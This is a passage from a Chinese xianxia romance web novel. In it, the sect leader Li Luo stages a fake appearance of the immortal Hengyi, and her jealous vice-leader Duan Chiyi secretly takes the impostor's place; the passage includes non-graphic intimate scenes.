但还是一大早就用香料熬了锅底,又用虾肉鱼糜打了丸子,做了一锅“没有花椒也没有鱼”的“花椒鱼”。 黎落吃的很香,并且变本加厉提了新的要求,说明天要吃“没有土豆也没有鸡”的“土豆炖鸡块”。 段迟意心里的怀疑越发严重。 前几天他就发现,黎落私下联系张少荣,打听“珩亦仙君”的打扮和习惯,还打了个珩亦同款的面具和剑。 他不知道黎落为什么放着他不问,偏要从别人那里打听他的旧事。 这份怀疑在听见穗穗的话后到达了顶峰。 “当日珩亦仙君一剑斩尽妖邪,是多么清冷高贵英武不凡啊,如今整日闷在厨房打丸子,哪里还能笼络住阁主的心?” “现在只是睹物思人忆及往昔,等她意识到你和以前那个高冷仙君的区别,只怕……啧啧啧……” “听说外面都在传,有个人假冒珩亦仙君,到处杀人,颇有你当日的风范啊……” 段迟意因而开始怀疑自己。 他沉默着看黎落吃完饭,又沉默着收了桌子。 等他回来的时候,黎落手里正抱着个什么东西,乍一看像是个面具,形状格外眼熟。 但见他进来,她便将东西极快地朝储物袋中一塞,随后欲盖弥彰地冲他扬起个笑: “你回来了呀。” 她很擅长用好看的笑掩饰心中所想。 回回笑起来眉眼弯弯,眼睛里全是他的影子,好像全世界只他一个能入得她眼一样。 但是…… 段迟意的目光不着痕迹地从她藏到身后的储物袋上移开,压下一肚子的胡思乱想,上前两步,将黎落环抱在怀里。 他身上清爽干净的气息让黎落有点心猿意马,她决定放一放今晚和胡六娘开会商议的计划,专心和副阁主“聊聊感情”。 黎落将储物袋推得远了点,两手环着段迟意的脖子,朝下用力。 段迟意从善如流地弯了腰将她抱起来,微微垂着头,冷玉似的眸子染了几分潋滟水光,轻啄她唇。 他嘴唇很软,带着点凉,像初春的雪花轻拂她面容。 之后这雪又渐渐热了起来,成了绵绵细雨,顺着她的脖子缓缓往下…… 修长的指节一路点火,行至一处忽而停下,轻拢慢捻,惹得黎落又忍不住张口咬他。 她用了好大力,身上人却丝毫没有收手的打算,反而越发“变本加厉”,一面贴近她,揽着她腰身阻止她躲闪。 随着他俯身凑近的动作,冰凉丝滑的乌发在她身上铺开,发丝贴在她脸颊和脖子上,带着点让人心跳加速的痒。 他的手指修长有力,指节突出,肆无忌惮。 黎落跑不脱,只能用牙叼着他的皮肉,感受着他的脉搏在她牙尖颤动,震得她牙根酸软。 ……要不把他直接咬死吧。 某个瞬间,黎落磨了磨牙,愤愤想着。 但很快她就没功夫想这些了。 她这素来什么事都依着她的副阁主一反常态,不知在哪里学了些魅惑人心的法子,一股脑全用在她身上。 她本想骂他,但一睁眼,却见他神态专注到几乎郑重,精致的五官在昏暗的光线下染上艳丽的色彩,眉眼昳丽,惊心动魄,黑沉沉的双目一直关注着她的反应。 她于是很快沉浸在他的倾城容色中,忘了自己想说什么。 迷迷糊糊中,听见段迟意在耳边低声问她: “珩亦和我,你更喜欢谁?” 他清冽的声音因动情而染上几分带着欲的低沉,黎落脑子一团浆糊,觉得这问题莫名其妙。 “珩亦和你,不都是你吗?” 段迟意对这回答不满意,手上动作不停,隐越有加速的意思,像是故意让她神志更加混乱。 他垂眸凝视她,眼神侵略意味十足,声音带着点威胁和不近人情: “必须选一个。” 黎落 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食指和中指被她没什么力气的手抓住,像绕着一圈软绵绵的云。 段迟意故作不解,一脸无辜地问: “怎么了?你不是睡了吗?” 黎落:“……” 她抿嘴瞪他,企图用严肃的、严厉的、阁主的威严震慑他。 只是她此刻眼尾泛着泪光,眼眶也红红的,威严大打折扣,反让段迟意更想逗她。 好在他知道把人惹毛了并没有什么好处,及时投降,拉着她的手放在唇边轻轻一贴: “好了,你睡吧,我不动了。” 黎落放心地松开了手,在他怀里寻了个舒服的姿势缩着。 刚闭上眼睛,又听见他在她头顶低声说: “你扔了珩亦的面具,世上便只有云苍阁副阁主——段迟意了。” 黎落困得眼睛都睁不开,敷衍地“嗯嗯”两声。 段迟意又说: “若你真的喜欢过去的珩亦……我也可以……” 后头的话用了很大的决心,正待说出口时,却发现怀里的人早睡了过去,眉头微微蹙着,像是在嫌弃他吵闹。 段迟意哑然。 这整日熬夜从不早睡的人,竟还有脸嫌弃他吵人安眠? 不过他也不能真像她平时对他那样,不由分说将人摇醒,只好把人朝怀里抱得更紧一些,轻轻拍她后背,哄她睡得更熟一点。 一边在心里盼着她念着他终日在云苍阁操劳的不易,早点忘了“珩亦”,更不要企图通过一个面具去找什么“替身”。 65. 第 65 章 段迟意的担心还是成真了。 第二天,他在研究如何制作“没有土豆没有鸡的土豆炖鸡”时,听见黎落和那只狐狸勾肩搭背地路过,嘴里说着什么: “这人不够高啊,珩亦很高的……” “而且他很帅的,你想象一下,高冷帅哥,不苟言笑,一出剑就吓死别人那种,换一个吧……” 段迟意下意识摸了摸自己的脸。 他对自己的容貌很自信,黎落每每情动,都会看着他的脸发呆。 但如果说这世上有什么东西能打败他的容貌…… 那就是更年轻的自己了。 ——黎落在雷劫里,见过年轻时候的他。 段迟意心中充满着危机感。 他放下手里的食材,推门出去,装作若无其事的样子问道: “你们在说什么?” 黎落和胡六娘的表情齐齐愣了一下。 随后黎落下意识揉了揉脸颊,回道: “啊,没什么,我们在聊人界新出的话本子。” 胡六娘也跟着点头: “对,话本子,话本子。” 段迟意脑海里闪过一堆人界书生写的奇诡话本子,诸如“狐狸精勾搭无知少女”、“狐狸精拉皮条陷害无知少女”等等等等可怕的剧情。 但他什么也没说,只沉默着站在厨房门口,背对着阳光,俊美无俦的侧脸映出一片暗影。 然后淡淡叹道: “这样啊……” 黎落已和胡六娘拉拉扯扯地跑远了。 段迟意在房檐下站了许久,始终不见黎落回来。 直到太阳移向头顶又沉到天际,将他的身影缩小成脚下一点后又拉长成一条,他才蓦地扯掉腰间系着的围裙,御剑而去。 * 胡六娘正在往一个年轻公狐狸的脸上涂涂抹抹。 剑气袭来,镜子猝不及防在她手中碎成数片,两只狐狸的惊呼声被段迟意一个眼神吓得憋了回去。 胡六娘两手变成狐狸爪子捂住自己的嘴,看着段迟意在屋中巡视一圈,最后目光锁定在她打算拿去假扮“珩亦”的面具和剑上。 * 按照黎落的计划,胡六娘找人假扮珩亦,将其他魔族吓得哭天喊地之时,她便可及时出现,救魔族于水火之中,并和“珩亦”定下“君子之约”,从而顺利成为魔族心中“真正的尊主”。 不战而屈人之兵。 只要把段迟意拦在云苍阁,他绝对不知道她在外面抹黑他的名声。 可计划当天却频频出现意外,先是被段迟意发现她在讨论“珩亦”,随后又等了许久,假“珩亦”却迟迟不到场。 就在她几乎以为自己这出戏已经砸了的时候,“珩亦”终于来了。 接下来的事情顺利中透着一丝诡异。 这个假“珩亦”一出场就镇住了所有人,连黎落和他交手时都隐约有点被压制的感觉。 她拼命给对方使眼色,对方才堪堪停下了暴揍其他魔族的手,假装落败。 黎落松了一口气,说了些冠冕堂皇的话后,示意对方“可以退场了”。 但对方没有退,反而上前一步,问她: “阁主很希望同我合作吗?” 他个子很高,带着面具看不清表情,逼近时显出极强的压迫感。 黎落下意识睁大了眼睛。 她惊诧之余,又生出几分坏心思,迅速调整了表情,道: “当然啦,仙君乃剑道魁首,天下谁不倾慕?既然仙门留不住你,不若入我门下?” 众人暗自惊呼,心道这新魔尊如此胆大包天义薄云天,竟为了保护魔界,连这剑下妖魔亡魂无数的“珩亦仙君”都敢抛出橄榄枝。 一时间臣服者众。 谁知这珩亦仙君也是个贪恋美色的,竟轻飘飘道了句: “可。” 黎落憋着笑,邀请“珩亦”到云苍阁看看。 段迟意心里的火简直要把房顶都烧了。 他气的要命,既生气黎落在外面勾搭了别的狐狸精,还敢将那畜牲打扮成他的样子“睹物思人”; 又气黎落是个眼瘸的,他本人都出现了,竟还分不清真假,还敢当众同这“假的假货”拉拉扯扯…… 正生着气呢,忽然听见“吱呀”一声,是黎落推开了她的房门,站在门口邀请他进去 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黎落顺势松手。 在他恼怒之前,她猝不及防掀开他的面具,踮脚咬住他的唇。 “段迟意,你好傻哦。” * 恼羞成怒的段迟意比平时难应付,渡过了最初“恼羞成怒”的“尴尬期”,他竟然开始享受起了“珩亦”的身份。 既然不是副阁主,那做什么都不算是“以下犯上”了。 这下换黎落“呜呜呜”地求饶了。 …… 为了平衡心里的不爽,她故意在他失神吻她时推开他的脸,质问他: “我的土豆炖鸡呢?” 段迟意的脸皮厚了不止一点半点,回答不上来,便又凑过来亲她的唇,堵住她想说的话。 “仙君哪里会这些。” “明日……让副阁主给你做。” 〈全文完〉